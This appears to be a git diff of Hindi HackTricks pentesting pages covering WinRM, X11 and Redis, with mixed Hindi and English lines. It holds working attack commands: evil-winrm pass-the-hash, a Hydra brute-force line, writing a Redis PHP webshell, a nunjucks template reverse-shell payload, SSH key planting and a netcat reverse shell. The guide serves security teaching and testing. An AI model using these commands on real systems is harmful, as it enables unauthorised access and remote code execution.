इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
```powershell
@ -58,7 +58,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
### परीक्षण करें कि क्या कॉन्फ़िगर किया गया है
अपने हमले की मशीन की सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
अपने हमले की मशीन की सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्षित मशीन पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की उम्मीद करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
* एक लक्ष्य जो **सही** ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा:
```bash
@ -113,7 +113,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
![](<../.gitbook/assets/image (1009).png>)
**सत्र "शिकार" के अंदर एक नए प्रक्रिया (wsmprovhost) में चलेगा**
**सत्र "victim" के अंदर एक नए प्रक्रिया (wsmprovhost) में चलेगा**
### **WinRM को खोलने के लिए मजबूर करना**
@ -150,15 +150,15 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाले सामग्री के साथ जुड़ें
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से
वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
@ -185,13 +185,13 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
**दस्तावेज़** पढ़ें इसके गिटहब पर: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Read **documentation** on its github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
evil-winrm का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, जिसमें IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
ईविल-वीएनआरएम का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, जिसमें IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
### Pass the hash with evil-winrm
### हैश को ईविल-वीएनआरएम के साथ पास करें
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -315,7 +315,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की खबरों और अंतर्दृष्टियों के माध्यम से अद्यतित रहें
**Latest Announcements**\
बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
वीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Information
**X Window System** (X) एक बहुपरकारी विंडोइंग सिस्टम है जो UNIX-आधारित ऑपरेटिंग सिस्टम पर प्रचलित है। यह ग्राफिकल **उपयोगकर्ता इंटरफेस (GUIs)** बनाने के लिए एक ढांचा प्रदान करता है, जिसमें व्यक्तिगत कार्यक्रम उपयोगकर्ता इंटरफेस डिज़ाइन को संभालते हैं। यह लचीलापन X वातावरण के भीतर विविध और अनुकूलन योग्य अनुभवों की अनुमति देता है।
**X Window System** (X) एक बहुपरकारी विंडो प्रणाली है जो UNIX-आधारित ऑपरेटिंग सिस्टम पर प्रचलित है। यह ग्राफिकल **उपयोगकर्ता इंटरफेस (GUIs)** बनाने के लिए एक ढांचा प्रदान करता है, जिसमें व्यक्तिगत कार्यक्रम उपयोगकर्ता इंटरफेस डिज़ाइन को संभालते हैं। यह लचीलापन X वातावरण के भीतर विविध और अनुकूलन योग्य अनुभवों की अनुमति देता है।
**डिफ़ॉल्ट पोर्ट:** 6000
```
@ -46,9 +46,9 @@ PORT STATE SERVICE
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### स्थानीय गणना
#### Local Enumeration
फाइल **`.Xauthority`** उपयोगकर्ताओं के होम फ़ोल्डर में **प्राधिकरण के लिए X11 द्वारा उपयोग की जाती है**। [**यहां से**](https://stackoverflow.com/a/37367518):
फाइल **`.Xauthority`** उपयोगकर्ताओं के होम फ़ोल्डर में **X11 द्वारा प्राधिकरण के लिए उपयोग की जाती है**। [**यहां**](https://stackoverflow.com/a/37367518) से:
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
@ -130,7 +130,7 @@ Corners: +0+0 -0+0 -0-0 +0-0
```
**XWatchwin**
के लिए **लाइव व्यूइंग** हमें उपयोग करने की आवश्यकता है
के लिए **सीधे देखने** के लिए हमें उपयोग करना होगा
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
@ -139,8 +139,6 @@ Corners: +0+0 -0+0 -0-0 +0-0
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
अन्य तरीका:
**Reverse Shell:** Xrdp भी Netcat के माध्यम से रिवर्स शेल लेने की अनुमति देता है। निम्नलिखित कमांड टाइप करें:
```bash
./xrdp.py \<IP:0> no-disp
@ -151,7 +149,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec
```bash
nc -lvp 5555
```
फिर, अपने IP पते और पोर्ट को **R-Shell** विकल्प में डालें और एक शेल प्राप्त करने के लिए **R-shell** पर क्लिक करें
फिर, अपने IP पते और पोर्ट को **R-Shell** विकल्प में डालें और शेल प्राप्त करने के लिए **R-shell** पर क्लिक करें
## संदर्भ
@ -163,7 +161,7 @@ nc -lvp 5555
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
@ -176,7 +174,7 @@ nc -lvp 5555
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**हमसे जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -187,8 +185,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,40 +1,40 @@
# 6379 - Pentesting Redis
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**वास्तविक समय हैक समाचार**\
वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**आज ही** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## मूल जानकारी
## Basic Information
[दस्तावेज़ों](https://redis.io/topics/introduction) से: Redis एक ओपन-सोर्स (BSD लाइसेंस प्राप्त), इन-मेमोरी **डेटा संरचना स्टोर** है, जिसका उपयोग **डेटाबेस**, कैश और संदेश ब्रोकर के रूप में किया जाता है।
From [the docs](https://redis.io/topics/introduction): Redis एक ओपन सोर्स (BSD लाइसेंस प्राप्त), इन-मेमोरी **डेटा संरचना भंडार** है, जिसका उपयोग **डेटाबेस**, कैश और संदेश ब्रोकर के रूप में किया जाता है।
डिफ़ॉल्ट रूप से Redis एक प्लेन-टेक्स्ट आधारित प्रोटोकॉल का उपयोग करता है, लेकिन आपको ध्यान में रखना चाहिए कि यह **ssl/tls** को भी लागू कर सकता है। [यहाँ ssl/tls के साथ Redis चलाने के बारे में जानें](https://fossies.org/linux/redis/TLS.md)।
डिफ़ॉल्ट रूप से Redis एक प्लेन-टेक्स्ट आधारित प्रोटोकॉल का उपयोग करता है, लेकिन आपको यह ध्यान में रखना चाहिए कि यह **ssl/tls** को भी लागू कर सकता है। जानें कि [यहां ssl/tls के साथ Redis कैसे चलाएं](https://fossies.org/linux/redis/TLS.md)।
**डिफ़ॉल्ट पोर्ट:** 6379
```
@ -59,25 +59,25 @@ Redis एक **पाठ आधारित प्रोटोकॉल** है
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
पहला कमांड जिसे आप आजमा सकते हैं वह है **`info`**। यह **Redis उदाहरण की जानकारी के साथ आउटपुट वापस कर सकता है** **या कुछ** इस तरह का आउटपुट लौटाया जा सकता है:
पहला **कमांड** जिसे आप आजमा सकते हैं वह है **`info`**। यह **Redis उदाहरण की जानकारी** के साथ आउटपुट **या कुछ** इस तरह का आउटपुट लौटा सकता है:
```
-NOAUTH Authentication required.
```
In this last case, this means that **आपको वैध क्रेडेंशियल्स की आवश्यकता है** to access the Redis instance.
In this last case, this means that **आपको मान्य क्रेडेंशियल्स की आवश्यकता है** to access the Redis instance.
### Redis Authentication
**डिफ़ॉल्ट रूप से** Redis को **बिना क्रेडेंशियल्स** के एक्सेस किया जा सकता है। हालांकि, इसे **केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड** का समर्थन करने के लिए **कॉन्फ़िगर** किया जा सकता है।\
यह संभव है कि _**redis.conf**_ फ़ाइल में `requirepass` पैरामीटर के साथ **एक पासवर्ड सेट करें** **या अस्थायी** जब तक सेवा फिर से शुरू नहीं होती है, इसे कनेक्ट करके और चलाकर: `config set requirepass p@ss$12E45`।\
इसके अलावा, _**redis.conf**_ फ़ाइल के अंदर `masteruser` पैरामीटर में **एक उपयोगकर्ता नाम** कॉन्फ़िगर किया जा सकता है।
इसके अलावा, _**redis.conf**_ फ़ाइल के अंदर `masteruser` पैरामीटर में **एक उपयोगकर्ता नाम**ो कॉन्फ़िगर किया जा सकता है।
{% hint style="info" %}
यदि केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोगकर्ता नाम जोड़ा गया है "**डिफ़ॉल्ट**"।\
यदि केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोगकर्ता नाम जोड़ा गया है "**default**"।\
इसके अलावा, ध्यान दें कि **बाहरी रूप से यह पता लगाने का कोई तरीका नहीं है** कि क्या Redis को केवल पासवर्ड या उपयोगकर्ता नाम + पासवर्ड के साथ कॉन्फ़िगर किया गया था।
{% endhint %}
In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**यदि आपने वैध क्रेडेंशियल्स पाए हैं तो आपको कनेक्शन स्थापित करने के बाद सत्र को प्रमाणित करने की आवश्यकता है** with the command:
इस तरह के मामलों में आपको **Redis के साथ इंटरैक्ट करने के लिए मान्य क्रेडेंशियल्स खोजने की आवश्यकता होगी** ताकि आप इसे [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) करने की कोशिश कर सकें।\
**यदि आपने मान्य क्रेडेंशियल्स पाए हैं तो आपको कनेक्शन स्थापित करने के बाद सत्र को प्रमाणित करने की आवश्यकता है** कमांड के साथ:
```bash
AUTH <username> <password>
```
@ -100,23 +100,23 @@ CONFIG GET *
```
rename-command FLUSHDB ""
```
Redis सेवा को सुरक्षित रूप से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ है: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
आप **`monitor`** कमांड के साथ निष्पादित Redis कमांड को **वास्तविक समय में मॉनिटर** कर सकते हैं या **`slowlog get 25`** के साथ शीर्ष **25 सबसे धीमे प्रश्न** प्राप्त कर सकते हैं।
You can also **real time में Redis कमांड्स** executed with the command **`monitor`** or get the top **25 सबसे धीमे क्वेरीज़** with **`slowlog get 25`**
यहाँ अधिक Redis कमांड के बारे में और दिलचस्प जानकारी प्राप्त करें: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **डेटाबेस डंपिंग**
### **Dumping Database**
Redis के अंदर **डेटाबेस 0 से शुरू होने वाले नंबर हैं**। आप देख सकते हैं कि क्या कोई भी `info` कमांड के आउटपुट में "Keyspace" खंड के अंदर उपयोग किया गया है:
Inside Redis the **डेटाबेस 0 से शुरू होने वाले नंबर हैं**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
![](<../.gitbook/assets/image (766).png>)
या आप बस सभी **कीस्पेस** (डेटाबेस) प्राप्त कर सकते हैं:
Or you can just get all the **कीस्पेस** (databases) with:
```
INFO keyspace
```
इस उदाहरण में **डेटाबेस 0 और 1** का उपयोग किया जा रहा है। **डेटाबेस 0 में 4 की हैं और डेटाबेस 1 में 1** है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको करना होगा:
इस उदाहरण में **डेटाबेस 0 और 1** का उपयोग किया जा रहा है। **डेटाबेस 0 में 4 कीज़ हैं और डेटाबेस 1 में 1** है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको करना होगा:
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -125,9 +125,9 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` यह इसलिए है क्योंकि कुंजी एक स्ट्रिंग या पूर्णांक के अलावा कुछ और हो सकती है और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।
यदि आप `GET <KEY>` चलाते समय निम्नलिखित त्रुटि `-WRONGTYPE Operation against a key holding the wrong kind of value` प्राप्त करते हैं, तो इसका कारण यह हो सकता है कि कुंजी एक स्ट्रिंग या पूर्णांक के अलावा कुछ और हो और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।
To know the type of the key, use the `TYPE` command, example below for list and hash keys.
कुंजी के प्रकार को जानने के लिए, `TYPE` कमांड का उपयोग करें, नीचे सूची और हैश कुंजी के लिए उदाहरण।
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
@ -139,11 +139,11 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**npm के साथ डेटाबेस डंप करें**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **या पायथन** [**redis-utils**](https://pypi.org/project/redis-utils/)
**npm के साथ डेटाबेस डंप करें**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **या python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों
@ -154,7 +154,7 @@ DUMP <key>
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और शीर्ष हैकरों के साथ सहयोग करना शुरू करें!
आज ही [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## Redis RCE
@ -166,7 +166,7 @@ DUMP <key>
```
### PHP Webshell
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). आपको **वेब साइट फ़ोल्डर** का **पथ** पता होना चाहिए:
[**यहाँ**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) से जानकारी। आपको **वेब साइट फ़ोल्डर** का **पथ** पता होना चाहिए:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -184,7 +184,7 @@ OK
जैसे पिछले अनुभाग में, आप कुछ html टेम्पलेट फ़ाइल को भी ओवरराइट कर सकते हैं जिसे एक टेम्पलेट इंजन द्वारा व्याख्यायित किया जाएगा और एक शेल प्राप्त कर सकते हैं।
उदाहरण के लिए, [**इस लेख**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) का पालन करते हुए, आप देख सकते हैं कि हमलावर ने **nunjucks टेम्पलेट इंजन** द्वारा व्याख्यायित एक **html में rev shell** इंजेक्ट किया:
उदाहरण के लिए, [**इस लेख**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) का पालन करते हुए, आप देख सकते हैं कि हमलावर ने **nunjucks टेम्पलेट इंजन** द्वारा व्याख्यायित एक **rev shell in an html** इंजेक्ट किया:
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -204,14 +204,14 @@ sh.stderr.pipe(client);
### SSH
उदाहरण [यहां से](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
कृपया ध्यान दें कि **`config get dir`** का परिणाम अन्य मैन्युअल रूप से शोषण कमांड के बाद बदल सकता है। सुझाव है कि इसे Redis में लॉगिन करने के तुरंत बाद पहले चलाएं। **`config get dir`** के आउटपुट में आप **redis उपयोगकर्ता** का **home** पा सकते हैं (आमतौर पर _/var/lib/redis_ या _/home/redis/.ssh_) और इसे जानकर आप जानते हैं कि आप `authenticated_users` फ़ाइल को ssh **उपयोगकर्ता redis** के माध्यम से एक्सेस करने के लिए कहां लिख सकते हैं। यदि आप अन्य मान्य उपयोगकर्ता का home जानते हैं जहां आपके पास लिखने की अनुमति है, तो आप इसका भी दुरुपयोग कर सकते हैं:
1. अपने पीसी पर एक ssh सार्वजनिक-निजी कुंजी जोड़ी उत्पन्न करें: **`ssh-keygen -t rsa`**
2. सार्वजनिक कुंजी को एक फ़ाइल में लिखें: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. फ़ाइल को redis में आयात करें: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redis सर्वर पर **authorized\_keys** फ़ाइल में सार्वजनिक कुंजी को सहेजें:
4. Redis सर्वर पर **authorized\_keys** फ़ाइल में सार्वजनिक कुंजी सहेजें:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -245,9 +245,9 @@ The last example is for Ubuntu, for **Centos**, the above command should be: `re
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) से निर्देशों का पालन करते हुए आप **मनमाने आदेशों को निष्पादित करने के लिए एक redis मॉड्यूल संकलित कर सकते हैं**
2. फिर आपको **संकलित** मॉड्यूल को **अपलोड** करने का कोई तरीका चाहिए।
3. `MODULE LOAD /path/to/mymodule.so` के साथ रनटाइम पर **अपलोड किए गए मॉड्यूल को लोड करें**
4. यह जांचने के लिए कि यह सही ढंग से लोड हुआ है, **लोड किए गए मॉड्यूल की सूची** बनाएं: `MODULE LIST`
5. **आदेशों को निष्पादित करें**:
3. **अपलोड किए गए मॉड्यूल को** रनटाइम पर `MODULE LOAD /path/to/mymodule.so` के साथ लोड करें।
4. **लोड किए गए मॉड्यूल की सूची** जांचें कि यह सही ढंग से लोड हुआ है: `MODULE LIST`
5. **आदेश निष्पादित करें**:
```
127.0.0.1:6379> system.exec "id"
@ -260,15 +260,15 @@ The last example is for Ubuntu, for **Centos**, the above command should be: `re
### LUA sandbox bypass
[**यहाँ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) आप देख सकते हैं कि Redis **EVAL** आदेश का उपयोग **Lua कोड को सैंडबॉक्स** में निष्पादित करने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं **कैसे इसका दुरुपयोग करें** **dofile** फ़ंक्शन का उपयोग करके, लेकिन [स्पष्ट रूप से](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) यह अब संभव नहीं है। किसी भी तरह, यदि आप **Lua** सैंडबॉक्स को **बायपास** कर सकते हैं तो आप सिस्टम पर **मनमाने** आदेशों को **निष्पादित** कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ **विकल्प देख सकते हैं जो DoS का कारण बनते हैं**
[**यहाँ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) आप देख सकते हैं कि Redis **EVAL** आदेश का उपयोग **Lua कोड को सैंडबॉक्स** में निष्पादित करने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं **इसे कैसे दुरुपयोग करें** **dofile** फ़ंक्शन का उपयोग करके, लेकिन [स्पष्ट रूप से](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) यह अब संभव नहीं है। किसी भी तरह, यदि आप **Lua** सैंडबॉक्स को **बायपास** कर सकते हैं तो आप सिस्टम पर **मनमाने** आदेश निष्पादित कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ **विकल्प देख सकते हैं जो DoS का कारण बनते हैं**
LUA से बचने के लिए कुछ **CVEs**:
कुछ **CVEs LUA से बचने के लिए**:
